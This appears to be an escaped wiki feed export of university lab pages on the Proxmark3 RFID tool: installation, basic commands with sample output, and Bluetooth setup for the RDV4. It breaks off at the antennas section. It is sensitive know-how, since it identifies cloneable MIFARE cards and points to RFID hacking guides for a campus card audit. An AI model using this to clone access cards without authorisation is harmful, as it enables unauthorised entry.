   sudo apt-get install p7zip git build-essential libreadline5 libreadline-dev libusb-0.1-4 libusb-dev libqt4-dev perl pkg-config wget libncurses5-dev gcc-arm-none-eabi libstdc++-arm-none-eabi-newlib libpcsclite-dev&lt;br /&gt;
&lt;br /&gt;
2. clone proxmark3 git repository&lt;br /&gt;
&lt;br /&gt;
   git clone https://github.com/proxmark/proxmark3.git&lt;br /&gt;
&lt;br /&gt;
3. enter repo&lt;br /&gt;
&lt;br /&gt;
   cd proxmark3&lt;br /&gt;
&lt;br /&gt;
4. get newest version&lt;br /&gt;
&lt;br /&gt;
   git pull&lt;br /&gt;
&lt;br /&gt;
5. Install the blacklist rules&lt;br /&gt;
&lt;br /&gt;
   sudo cp -rf driver/77-mm-usb-device-blacklist.rules /etc/udev/rules.d/77-mm-usb-device-blacklist.rules&lt;br /&gt;
   sudo udevadm control --reload-rules&lt;br /&gt;
&lt;br /&gt;
6. add current user to group&lt;br /&gt;
&lt;br /&gt;
   sudo adduser $USER dialout&lt;br /&gt;
&lt;br /&gt;
7. log out and log into your account&lt;br /&gt;
&lt;br /&gt;
8. compile proxmark3&lt;br /&gt;
&lt;br /&gt;
   make clean &amp;amp;&amp;amp; make all&lt;br /&gt;
&lt;br /&gt;
=== Step 2 Identify  proxmark3 device ===&lt;br /&gt;
&lt;br /&gt;
   dmesg | grep -i usb&lt;br /&gt;
   [ 9704.503904] usb 1-3: Manufacturer: proxmark.org&lt;br /&gt;
   [ 9704.539638] cdc_acm 1-3:1.0: ttyACM0: USB ACM device&lt;br /&gt;
&lt;br /&gt;
=== Step 3 Flash the firmware of the proxmark ===&lt;br /&gt;
&lt;br /&gt;
!!! Do &#039;&#039;&#039;NOT&#039;&#039;&#039; press enter during the flashing process !!!&lt;br /&gt;
&lt;br /&gt;
   ./client/flasher /dev/ttyACM0 -b bootrom/obj/bootrom.elf armsrc/obj/fullimage.elf&lt;br /&gt;
&lt;br /&gt;
=== Step 4 Start the proxmark3 client ===&lt;br /&gt;
&lt;br /&gt;
   ./client/proxmark3 /dev/ttyACM0&lt;br /&gt;
&lt;br /&gt;
== Windows installation ==&lt;br /&gt;
&lt;br /&gt;
=== Requirements ===&lt;br /&gt;
The tested Version for Windows was Windows 10, therefore the requirements for successfully completing our installation guide are:&lt;br /&gt;
* Windows 10&lt;br /&gt;
* [https://git-scm.com/download/win Git for Windows]&lt;br /&gt;
&lt;br /&gt;
=== Installation ===&lt;br /&gt;
In order to be able to connect to your Proxmark3 under Windows you need to emulate a Linux environment which is done through a tool called ProxSpace.&lt;br /&gt;
&lt;br /&gt;
1. First you need to download the download the ProxSpace Repository through git.&lt;br /&gt;
 &lt;br /&gt;
&#039;&#039;&#039;Caution!&#039;&#039;&#039; Your current working directory should contain no whitespaces!&lt;br /&gt;
&lt;br /&gt;
   git clone https://github.com/Gator96100/ProxSpace.git&lt;br /&gt;
&lt;br /&gt;
2. Inside your ProxSpace Folder you should find &amp;quot;runme.bat&amp;quot;. Start it.&lt;br /&gt;
&lt;br /&gt;
3. This will create and install all necessary packets and folders. After you should see the pm3-console.&lt;br /&gt;
&lt;br /&gt;
4. From this console you should change the directory to ProxSpace and download the Proxmark3 Repository:&lt;br /&gt;
&lt;br /&gt;
   git clone https://github.com/Proxmark/proxmark3.git&lt;br /&gt;
&lt;br /&gt;
5. After this process is complete, cd to the proxmark3 directory:&lt;br /&gt;
&lt;br /&gt;
   cd proxmark3&lt;br /&gt;
&lt;br /&gt;
6. Compile the proxmark3 project:&lt;br /&gt;
&lt;br /&gt;
   make clean &amp;amp;&amp;amp; make all&lt;br /&gt;
&lt;br /&gt;
7. Install the proxmark3 driver&lt;br /&gt;
&lt;br /&gt;
==== Windows 10 ====&lt;br /&gt;
Since this driver is not officially signed by a trusted authority the installation is a bit tricky. You first have to start Windows in save-mode. This is done easiest, when pressing the shift-key while restarting your PC. On reboot you choose Startup-Settings followed by #7 Disable driver signature enforcement.&lt;br /&gt;
After the computer restarted you connect the proxmark3 and go to the device manager, right click on the non-identified device (which is the proxmark3) and go to the settings. Click on update driver and search locally for the proxmark3.inf. If you have trouble getting the proxmark3 driver to work, please visit this [[https://store.ryscc.com/blogs/news/how-to-install-a-proxmark3-driver-on-windows-10 picture-guided tutorial]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
After, the installation should be complete and you can safely restart your PC to normal mode again. From there start the runme.bat and the pm3-console should appear.&lt;br /&gt;
&lt;br /&gt;
==== Windows 7 ====&lt;br /&gt;
[[File:Win7-disable-driversignature.png|520px|right]]&lt;br /&gt;
&lt;br /&gt;
* Start command prompt (cmd.exe) as &#039;&#039;&#039;administrator&#039;&#039;&#039; and execute:&lt;br /&gt;
&lt;br /&gt;
  bcdedit.exe -set loadoptions DDISABLE_INTEGRITY_CHECKS&lt;br /&gt;
  bcdedit.exe -set TESTSIGNING ON&lt;br /&gt;
&lt;br /&gt;
* Open the device manager, right-click on the unknow device &amp;quot;proxmark3&amp;quot; and select &amp;quot;update&amp;quot;&lt;br /&gt;
* Select the manual driver selection, and within your &#039;&#039;ProxSpace&#039;&#039; folder select the &#039;&#039;msys2\proxmark3\driver&#039;&#039; subfolder&lt;br /&gt;
&lt;br /&gt;
After the successful driver setup you may want to disable testsigning again, and restart windows&lt;br /&gt;
&lt;br /&gt;
  bcdedit.exe -set TESTSIGNING OFF&lt;br /&gt;
&lt;br /&gt;
=== Update your Proxmark3 ===&lt;br /&gt;
&lt;br /&gt;
To update the firmware of your Proxmark3 to the latest version, open cmd and type in (with x standing for the right number of your COM port, e.g. COM2):&lt;br /&gt;
&lt;br /&gt;
   ./proxmark/client/flasher COMx -b /bootrom/obj/bootrom.elf&lt;br /&gt;
   ./proxmark/client/flasher COMX ./armsrc/obj/fullimage.elf&lt;br /&gt;
&lt;br /&gt;
=== Connecting to your Proxmark3 ===&lt;br /&gt;
&lt;br /&gt;
After having done all the steps above you can safely connect to your Proxmark3 through (where x again stands for the right number of your COM port, e.g. COM2):&lt;br /&gt;
&lt;br /&gt;
   ./client/proxmark3.exe COMx&lt;br /&gt;
&lt;br /&gt;
== Usage ==&lt;br /&gt;
&lt;br /&gt;
For using the Proxmark3 please visit our second documentation [[Proxmark3: Useful commands]] and feel free to have a look at the [https://github.com/Proxmark/proxmark3 Proxmark Repository!]&lt;br /&gt;
&lt;br /&gt;
== Resources and Tutorials ==&lt;br /&gt;
&lt;br /&gt;
* Client commands: https://github.com/Proxmark/proxmark3/wiki/commands&lt;br /&gt;
* Usage example: https://www.youtube.com/watch?v=FODGYfhqb4Q&lt;br /&gt;
* Basic tutorial for RFID usage: https://blog.kchung.co/rfid-hacking-with-the-proxmark-3/&lt;br /&gt;
* Advanced tutorial: https://blog.kchung.co/rfid-hacking-with-the-proxmark-3/&lt;br /&gt;
* Capture NFC traffic of apple pay transaction: https://salmg.net/2017/12/29/analyzing-an-apple-pay-transaction-with-proxmark3/&lt;br /&gt;
&lt;br /&gt;
== Used Hardware ==&lt;br /&gt;
&lt;br /&gt;
[[Proxmark 3]]&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
* Product page and infos: https://www.elechouse.com/elechouse/index.php?main_page=product_info&amp;amp;cPath=90_93&amp;amp;products_id=2264&amp;amp;zenid=kmvhiob7nq1orc4pfjtf53sbr7&lt;br /&gt;
* Manual: https://www.elechouse.com/elechouse/images/product/proxmark3_V2/Proxmark3%20V2%20User%20Guid.pdf&lt;br /&gt;
* MacOS 10.x client installation: https://github.com/Proxmark/proxmark3/wiki/MacOS&lt;br /&gt;
* Linux 16.04 client installation: https://github.com/Proxmark/proxmark3/wiki/Ubuntu-Linux&lt;br /&gt;
* Windows 10 client installation: https://github.com/Proxmark/proxmark3/wiki/Windows&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;br /&gt;
[[Category:Pentesting]]&lt;/div&gt;</summary>
		<author><name>Ikramer</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Proxmark3:_Useful_commands&amp;diff=14644</id>
		<title>Proxmark3: Useful commands</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Proxmark3:_Useful_commands&amp;diff=14644"/>
		<updated>2024-03-12T18:34:21Z</updated>

		<summary type="html">&lt;p&gt;Ikramer: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
&amp;quot;NFC Hacking with Proxmark3&amp;quot; has been conducted during a school project, in which we analyzed the implementation of our NFC System. Which includes our on-campus cards, the printing system, snacks and drinks machines and the classroom doors. The additional output of this project was a (tested) guide on how to install the Proxmark3. For further details with regards to our project, concrete tests and more advanced commands please see our documentation [[Proxmark3: FH-Campus Card NFC Security Valuation]].&lt;br /&gt;
&lt;br /&gt;
In this thread we show a short overview of the different commands the proxmark3 environment has to offer.&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
Please see the [[Proxmark3: Installation]] guide for a full overview of requirements.&lt;br /&gt;
However, the Operating systems on which we tested the installation are: &lt;br /&gt;
*Ubuntu 16.04/18.03&lt;br /&gt;
*Windows 10&lt;br /&gt;
*MacOS 10.x&lt;br /&gt;
&lt;br /&gt;
In order to complete the &amp;quot;Introduction&amp;quot; described below, you have to complete the [[Proxmark3: Installation]] guide first.&lt;br /&gt;
&lt;br /&gt;
This overview is based on the proxmark3 client, published on Github on the 29. May 2019&lt;br /&gt;
&lt;br /&gt;
== Introduction ==&lt;br /&gt;
&lt;br /&gt;
This introduction should only give you a glimpse of the available commands and possibilities of the Proxmark3. The official Proxmark3-Repository, as well as the more advanced Ice-Man-Fork Repository (both linked in the reference section), provide lots of functions, though most of them are still in their alpha stage and therefore still need a bit of tinkering in order to work well. For further commands and our security analysis of our university feel free to have a look at our documentation!&lt;br /&gt;
&lt;br /&gt;
=== The Commands ===&lt;br /&gt;
&lt;br /&gt;
Connect via:&lt;br /&gt;
: Linux: &amp;lt;code&amp;gt;./client/proxmark3 /dev/ttyACM0&amp;lt;/code&amp;gt;&lt;br /&gt;
: Windows &amp;lt;code&amp;gt;./client/proxmark3.exe COMx&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
After you have successfully completed the Install Proxmark3 guide, you should see a screen similar to this when connecting to your proxmark3:&lt;br /&gt;
&lt;br /&gt;
 proxmark3&amp;gt;&lt;br /&gt;
&lt;br /&gt;
You can always (in whichever menu you are) type &#039;help&#039; in order to have a full list of available commands in that menu.&lt;br /&gt;
If you enter help in the start menu, you will get following output:&lt;br /&gt;
 help             This help. Use &#039;&amp;lt;command&amp;gt; help&#039; for details of a particular command.&lt;br /&gt;
 data             { Plot window / data buffer manipulation... }&lt;br /&gt;
 hf               { High Frequency commands... }&lt;br /&gt;
 hw               { Hardware commands... }&lt;br /&gt;
 lf               { Low Frequency commands... }&lt;br /&gt;
 emv              { EMV iso14443 and iso7816... }&lt;br /&gt;
 sc               { Smartcard commands... }&lt;br /&gt;
 script           { Scripting commands }&lt;br /&gt;
 quit             Exit program&lt;br /&gt;
 exit             Exit program&lt;br /&gt;
&lt;br /&gt;
==== command: hw ====&lt;br /&gt;
&lt;br /&gt;
&amp;quot;hw&amp;quot; stands for hardware and lists a bunch of commands to get basic hardware information of the Proxmark3.&lt;br /&gt;
&lt;br /&gt;
 detectreader     [&#039;l&#039;|&#039;h&#039;] -- Detect external reader field (option &#039;l&#039; or &#039;h&#039; to limit to LF or HF)&lt;br /&gt;
 fpgaoff          Set FPGA off&lt;br /&gt;
 lcd              &amp;lt;HEX command&amp;gt; &amp;lt;count&amp;gt; -- Send command/data to LCD&lt;br /&gt;
 lcdreset         Hardware reset LCD&lt;br /&gt;
 readmem          [address] -- Read memory at decimal address from flash&lt;br /&gt;
 reset            Reset the Proxmark3&lt;br /&gt;
 setlfdivisor     &amp;lt;19 - 255&amp;gt; -- Drive LF antenna at 12Mhz/(divisor+1)&lt;br /&gt;
 setmux           &amp;lt;loraw|hiraw|lopkd|hipkd&amp;gt; -- Set the ADC mux to a specific value&lt;br /&gt;
 tune             [&#039;l&#039;|&#039;h&#039;] -- Measure antenna tuning (option &#039;l&#039; or &#039;h&#039; to limit to LF or HF)&lt;br /&gt;
 version          Show version information about the connected Proxmark&lt;br /&gt;
 status           Show runtime status information about the connected Proxmark&lt;br /&gt;
 ping             Test if the pm3 is responsive&lt;br /&gt;
&lt;br /&gt;
We can check the version of the different builds of the Proxmark3 currently running on it:&lt;br /&gt;
&lt;br /&gt;
 proxmark3&amp;gt; hw version&lt;br /&gt;
 Prox/RFID mark3 RFID instrument&lt;br /&gt;
 bootrom: master/v3.1.0-94-gd38bb3a-dirty-suspect 2019-06-01 14:36:05&lt;br /&gt;
 os: master/v3.1.0-94-gd38bb3a-dirty-suspect 2019-06-01 14:36:22&lt;br /&gt;
 fpga_lf.bit built for 2s30vq100 on 2015/03/06 at 07:38:04&lt;br /&gt;
 fpga_hf.bit built for 2s30vq100 on 2019/03/20 at 08:08:07&lt;br /&gt;
&lt;br /&gt;
We can now check the antenna strength of the attached antennas. If you have borrowed the proxmark3 of the Elvis IoT Lab you will get following output:&lt;br /&gt;
&lt;br /&gt;
(If no smart card is in proximity):&lt;br /&gt;
&lt;br /&gt;
 proxmark3&amp;gt; hw tune&lt;br /&gt;
 Measuring antenna characteristics, please wait.........&lt;br /&gt;
 # LF antenna: 43.86 V @   125.00 kHz&lt;br /&gt;
 # LF antenna: 21.04 V @   134.00 kHz&lt;br /&gt;
 # LF optimal: 44.14 V @   123.71 kHz&lt;br /&gt;
 # HF antenna: 30.41 V @    13.56 MHz&lt;br /&gt;
&lt;br /&gt;
If we now lay a NFC card on the antennas the voltages changes:&lt;br /&gt;
&lt;br /&gt;
 proxmark3&amp;gt; hw tune&lt;br /&gt;
 Measuring antenna characteristics, please wait.........&lt;br /&gt;
 # LF antenna: 44.27 V @   125.00 kHz&lt;br /&gt;
 # LF antenna: 21.04 V @   134.00 kHz&lt;br /&gt;
 # LF optimal: 44.27 V @   123.71 kHz&lt;br /&gt;
 # HF antenna: *19.39 V* @    13.56 MHz&lt;br /&gt;
&lt;br /&gt;
We can see, that the voltage of the HF antenna dropped from 30 volts to about 19 volts. We can assume that the placed NFC card is a high frequency card.&lt;br /&gt;
&lt;br /&gt;
==== command: hf ====&lt;br /&gt;
&amp;quot;hf&amp;quot; stands for high frequency, which are specified at a carrier frequency of about 13.56 MHz.&lt;br /&gt;
Possible commands that can be issued are listed below:&lt;br /&gt;
&lt;br /&gt;
 proxmark3&amp;gt; hf&lt;br /&gt;
 14a              { ISO14443A RFIDs... }&lt;br /&gt;
 14b              { ISO14443B RFIDs... }&lt;br /&gt;
 15               { ISO15693 RFIDs... }&lt;br /&gt;
 epa              { German Identification Card... }&lt;br /&gt;
 legic            { LEGIC RFIDs... }&lt;br /&gt;
 iclass           { ICLASS RFIDs... }&lt;br /&gt;
 mf               { MIFARE RFIDs... }&lt;br /&gt;
 mfu              { MIFARE Ultralight RFIDs... }&lt;br /&gt;
 mfp              { MIFARE Plus RFIDs... }&lt;br /&gt;
 topaz            { TOPAZ (NFC Type 1) RFIDs... }&lt;br /&gt;
 fido             { FIDO and FIDO2 authenticators... }&lt;br /&gt;
 tune             Continuously measure HF antenna tuning&lt;br /&gt;
 list             List protocol data in trace buffer&lt;br /&gt;
 plot             Plot signal&lt;br /&gt;
 search           Search for known HF tags [preliminary]&lt;br /&gt;
 snoop            &amp;lt;samples to skip (10000)&amp;gt; &amp;lt;triggers to skip (1)&amp;gt; Generic HF Snoop&lt;br /&gt;
&lt;br /&gt;
Most of these command-options are for specific cards from specific manufacturers (e.g. legic, iclass, mf). On the other hand, 14a is an NFC card standard that describes low-level communication of smart cards. Not all follow the same standard and some implement proprietary protocols. The Mifare cards are built upon the 14a standard and have additional commands which can be found in their specific directory.&lt;br /&gt;
&lt;br /&gt;
You usually start with the &#039;&#039;&#039;hf search&#039;&#039;&#039; command, which sends the card some data and analyses the return messages of the card. With this information, the Proxmark3 can make assumptions on what kind of card it may be.&lt;br /&gt;
&lt;br /&gt;
 proxmark3&amp;gt; hf search&lt;br /&gt;
 UID : 01 02 03 04&lt;br /&gt;
 ATQA : 00 04&lt;br /&gt;
 SAK : 08 [2]&lt;br /&gt;
 TYPE : NXP MIFARE CLASSIC 1k | Plus 2k SL1&lt;br /&gt;
 proprietary non iso14443-4 card found, RATS not supported&lt;br /&gt;
 Chinese magic backdoor commands (GEN 1a) detected&lt;br /&gt;
 Prng detection: WEAK&lt;br /&gt;
 Valid ISO14443A Tag Found - Quiting Search&lt;br /&gt;
&lt;br /&gt;
Here we see that this card is classified as a Mifare Classic 1k. In particular, it also answers back to the Chinese magic backdoor command which tells us that this card is a fully cloneable card that allows us to change the UID block of the card. More on this can be found in the Documentation [[Proxmark3: FH-Campus Card NFC Security Valuation]]&lt;br /&gt;
&lt;br /&gt;
We can now issue the &#039;&#039;&#039;hf plot&#039;&#039;&#039; command which will display a waveform with the just sent and received data.&lt;br /&gt;
&lt;br /&gt;
[[File:Waveform.PNG|frameless]]&lt;br /&gt;
&lt;br /&gt;
Thankfully people wrote programs that will parse this data to a dedicated protocol (&#039;&#039;&#039;hf list&#039;&#039;&#039;). In this case, we want to parse it as a Mifare classic communication with &#039;&#039;&#039;hf list mf&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
 proxmark3&amp;gt; hf list mf&lt;br /&gt;
 Recorded Activity (TraceLen = 156 bytes)&lt;br /&gt;
 Start = Start of Start Bit, End = End of last modulation. Src = Source of Transfer&lt;br /&gt;
 iso14443a - All times are in carrier periods (1/13.56Mhz)&lt;br /&gt;
 iClass    - Timings are not as accurate&lt;br /&gt;
      Start |        End | Src | Data (! denotes parity error, &#039; denotes short bytes)            | CRC | Annotation         |&lt;br /&gt;
 -----------|------------|-----|-----------------------------------------------------------------|-----|--------------------|&lt;br /&gt;
          0 |        992 | Rdr | 40&#039;                                                             |     | MAGIC WUPC1&lt;br /&gt;
       2484 |       3060 | Tag | 0a&#039;                                                             |     |&lt;br /&gt;
       7040 |       8352 | Rdr | 43                                                              |     | MAGIC WUPC2&lt;br /&gt;
       9524 |      10100 | Tag | 0a&#039;                                                             |     |&lt;br /&gt;
      14080 |      18848 | Rdr | 50  00  57  cd                                                  |  ok | HALT&lt;br /&gt;
          0 |        992 | Rdr | 52&#039;                                                             |     | WUPA&lt;br /&gt;
       2228 |       4596 | Tag | 04  00                                                          |     |&lt;br /&gt;
       7040 |       9504 | Rdr | 93  20                                                          |     | ANTICOLL&lt;br /&gt;
      10676 |      16564 | Tag | 01  02  03  04  04                                              |     |&lt;br /&gt;
      19328 |      29856 | Rdr | 93  70  01  02  03  04  04  8e  25                              |  ok | SELECT_UID&lt;br /&gt;
      31028 |      34548 | Tag | 08  b6  dd                                                      |     |&lt;br /&gt;
      47488 |      52192 | Rdr | 60  00  f5  7b                                                  |  ok | AUTH-A(0)&lt;br /&gt;
      54196 |      58932 | Tag | 01  20  01  45                                                  |     | AUTH: nt&lt;br /&gt;
&lt;br /&gt;
More on what is happening here can be found in the documentation [[Proxmark3: FH-Campus Card NFC Security Valuation]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
There are many more commands. For example, &#039;&#039;&#039;hf data&#039;&#039;&#039; to manipulate the raw data, or &#039;&#039;&#039;hf mf&#039;&#039;&#039; to interact with Mifare Classic cards. Since this is only a short introduction to commands of the Proxmark3 we won&#039;t go deeper. If one is interested and wants to find out more about the Proxmark you we highly recommend the documentation [[Proxmark3: FH-Campus Card NFC Security Valuation]] - where not only the essentials are covered, but also an in-depth explanation about the technology used, the Proxmark itself, the Mifare Classic Standard and a validation of the FH-Campus card system.&lt;br /&gt;
&lt;br /&gt;
It is definitely worth checking out the paper since it also shows which vulnerabilities were found in the school card system.&lt;br /&gt;
&lt;br /&gt;
== Used Hardware ==&lt;br /&gt;
&lt;br /&gt;
[https://wiki.elvis.science/index.php?title=Proxmark_3 Proxmark3]&lt;br /&gt;
&lt;br /&gt;
== Additional Documentation ==&lt;br /&gt;
&lt;br /&gt;
* [[Proxmark3: Installation]]&lt;br /&gt;
* [[Proxmark3: FH-Campus Card NFC Security Valuation]]&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://github.com/Proxmark/proxmark3&lt;br /&gt;
* https://github.com/iceman1001/proxmark3&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;br /&gt;
[[Category:Pentesting]]&lt;/div&gt;</summary>
		<author><name>Ikramer</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Proxmark3_RDV4&amp;diff=14643</id>
		<title>Proxmark3 RDV4</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Proxmark3_RDV4&amp;diff=14643"/>
		<updated>2024-03-12T18:33:44Z</updated>

		<summary type="html">&lt;p&gt;Ikramer: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
[[File:Prox no case size.jpg|thumb|500px|Proxmark3 RDV4]]&lt;br /&gt;
&lt;br /&gt;
The Proxmark is an RFID swiss-army tool, allowing for both high and low-level interactions with the vast majority of RFID/NFC tags and systems worldwide (proxmark.com).&lt;br /&gt;
&lt;br /&gt;
The Proxmark3 Dev Kit 4 (RDV4) is more compact and portable than the older versions and brings various improvements to the open-source design. Antennas are highly customizable and there is a new multifunction multiplexing interface to support additional components such as external battery, external active high powered antenna, Bluetooth interfaces and SIM/Smart card reader (hackerwarehouse.com).&lt;br /&gt;
&lt;br /&gt;
This write-up concentrates on the improvements of the RDV4 over the RDV2 and will not cover the basic operations. For more, please visit [[Proxmark3: Useful commands]] or [[Proxmark3: FH-Campus Card NFC Security Valuation]]&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Proxmark3 RDV4&lt;br /&gt;
&lt;br /&gt;
To use the Bluetooth module &amp;amp; for new features of the RDV4 use the new [https://github.com/RfidResearchGroup/proxmark3.git new repository]&lt;br /&gt;
&lt;br /&gt;
Setting-up &amp;amp; compiling are explained in the [https://github.com/RfidResearchGroup/proxmark3/blob/master/doc/md/Installation_Instructions/Linux-Installation-Instructions.md original documentation]&lt;br /&gt;
&lt;br /&gt;
For a quick introduction to the default commands please visit: [[Proxmark3: Useful commands]]&lt;br /&gt;
&lt;br /&gt;
== Smart Card ==&lt;br /&gt;
&lt;br /&gt;
Hidden under the lid of the Proxmark RDV4 you can find a smart card reader. You can directly insert a smartcard directly into to the slot or insert it into the optional smartcard extender, which allows for card size formats. &lt;br /&gt;
&lt;br /&gt;
[[File:Prox smartcard.jpg|800px|Proxmark with the smartcard extender]]&lt;br /&gt;
&lt;br /&gt;
For more information on reading and writing to smartcards please visit the follow-up post [[Proxmark3 RDV4: SmartCard]]&lt;br /&gt;
&lt;br /&gt;
== Bluetooth Module ==&lt;br /&gt;
&lt;br /&gt;
With the Blue-Shark Module it is now possible to wirelessly communicate with the Proxmark RDV4!&lt;br /&gt;
&lt;br /&gt;
=== Installation ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:Prox open case.jpg|thumb|none|x300px|1. Remove the antenna cover and use the plastic prying tool to open the case.]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:Prox remove antenna.jpg|thumb|none|x300px|2. Remove the six screws of the antenna.]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:Prox bt cable.jpg|thumb|none|x300px|3. Connect the Bluetooth cable to the Proxmark by first opening the black hinge of the ribbon cable.]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:Prox bt cable2.jpg|thumb|none|x300px|4. Insert the ribbon cable into the connector and close the hinge again.]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:Prox bt.jpg|thumb|none|x300px|5. Remove the blue tape on the Bluetooth module.]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:Prox bt2.jpg|thumb|none|x300px|6. Push the module onto the Proxmark.]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:Prox bt3.jpg|thumb|none|x300px|7. Connect the antenna to the Proxmark and add the cover of the antenna.]]&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
To enable this feature you need to install the newest  RfidResearchGroup/proxmark3 repo and enable the Bluetooth setting in the makefile: the instructions are based on [https://github.com/RfidResearchGroup/proxmark3/blob/master/doc/bt_manual_v10.md Blue Shark Installation]&lt;br /&gt;
&lt;br /&gt;
=== Linux installation === &lt;br /&gt;
&lt;br /&gt;
; Preperation&lt;br /&gt;
* Update system:&lt;br /&gt;
: &amp;lt;code&amp;gt;sudo apt-get update&amp;lt;/code&amp;gt;&lt;br /&gt;
* Install requirements:&lt;br /&gt;
: &amp;lt;code&amp;gt;sudo apt-get install --no-install-recommends git ca-certificates build-essential pkg-config libreadline-dev gcc-arm-none-eabi libnewlib-dev qtbase5-dev&amp;lt;/code&amp;gt;&lt;br /&gt;
* On Linux you have to make shure you remove of disable the ModemManager (this is usally pre-installed to interact with (2G,3G,4G) devices.&lt;br /&gt;
* Remove ModemManager&lt;br /&gt;
: &amp;lt;code&amp;gt;sudo apt remove modemmanager&amp;lt;/code&amp;gt;&lt;br /&gt;
* Download repostiory:&lt;br /&gt;
: &amp;lt;code&amp;gt;git clone https://github.com/RfidResearchGroup/proxmark3.git&amp;lt;/code&amp;gt;&lt;br /&gt;
* cd into repo&lt;br /&gt;
: &amp;lt;code&amp;gt;cd proxmark3&amp;lt;/code&amp;gt;&lt;br /&gt;
* Or update to the newest version:&lt;br /&gt;
: &amp;lt;code&amp;gt;git pull&amp;lt;/code&amp;gt;&lt;br /&gt;
; Compile source code&lt;br /&gt;
* Enable Bluetooth module&lt;br /&gt;
: &amp;lt;code&amp;gt;cp  Makefile.platform.sample Makefile.platform&amp;lt;/code&amp;gt;&lt;br /&gt;
: &amp;lt;code&amp;gt;nano Makefile.platform&amp;lt;/code&amp;gt;&lt;br /&gt;
: And uncomment the line &amp;lt;code&amp;gt;#PLATFORM_EXTRAS=BTADDON&amp;lt;/code&amp;gt; by removing the &amp;lt;code&amp;gt;#&amp;lt;/code&amp;gt; &amp;amp; save changes by pressing &amp;lt;code&amp;gt;ctrl+x&amp;lt;/code&amp;gt;&lt;br /&gt;
* Compile source code&lt;br /&gt;
: &amp;lt;code&amp;gt;make clean; make -j8&amp;lt;/code&amp;gt;&lt;br /&gt;
: &amp;lt;code&amp;gt;sudo make install&amp;lt;/code&amp;gt;&lt;br /&gt;
* Add access rights&lt;br /&gt;
: &amp;lt;code&amp;gt;make accessrights&amp;lt;/code&amp;gt;&lt;br /&gt;
: Now log off and log on again.&lt;br /&gt;
* Connect the Proxmark3 to the computer&lt;br /&gt;
* Flash the firmware&lt;br /&gt;
: &amp;lt;code&amp;gt;./pm3-flash-bootrom&amp;lt;/code&amp;gt;&lt;br /&gt;
: &amp;lt;code&amp;gt;./pm3-flash-all&amp;lt;/code&amp;gt;&lt;br /&gt;
; Connect wirelessly to the Proxmark&lt;br /&gt;
* Turn on the Bluetooth module (both switches to on)&lt;br /&gt;
* Find MAC address&lt;br /&gt;
 sudo hcitool scan&lt;br /&gt;
 Scanning ...&lt;br /&gt;
  aa:bb:cc:dd:ee:ff PM3_RDV4.0&lt;br /&gt;
* Bind your BT add-on MAC address to a serial port&lt;br /&gt;
: &amp;lt;code&amp;gt;sudo rfcomm bind rfcomm0 aa:bb:cc:dd:ee:ff&amp;lt;/code&amp;gt;&lt;br /&gt;
* If connecting the first time:&lt;br /&gt;
 bluetoothctl&lt;br /&gt;
 [bluetooth]# pairable on&lt;br /&gt;
 [bluetooth]# scan on&lt;br /&gt;
 Discovery started&lt;br /&gt;
 ...&lt;br /&gt;
 [CHG] Device aa:bb:cc:dd:ee:ff Name: PM3_RDV4.0&lt;br /&gt;
 [bluetooth]# trust aa:bb:cc:dd:ee:ff&lt;br /&gt;
 [bluetooth]# pair aa:bb:cc:dd:ee:ff&lt;br /&gt;
 [agent] Enter PIN code: 1234&lt;br /&gt;
 [bluetooth]# quit&lt;br /&gt;
* Else, open the Proxmark client&lt;br /&gt;
: &amp;lt;code&amp;gt;proxmark3 /dev/rfcomm0&amp;lt;/code&amp;gt;&lt;br /&gt;
: Now the Proxmark LED should stop blinking and turn solid blue. THe Proxmark client should show the default interface.&lt;br /&gt;
&lt;br /&gt;
== Antennas ==&lt;br /&gt;
&lt;br /&gt;
The Proxmark3 RDV4 optionally ships with high-frequency (hf) and low-frequency (lf) antenna kits. They include a medium and long-range antenna. The following will show the differences between them.&lt;br /&gt;
&lt;br /&gt;
=== High-Frequecy Antenna Kit ===&lt;br /&gt;
&lt;br /&gt;
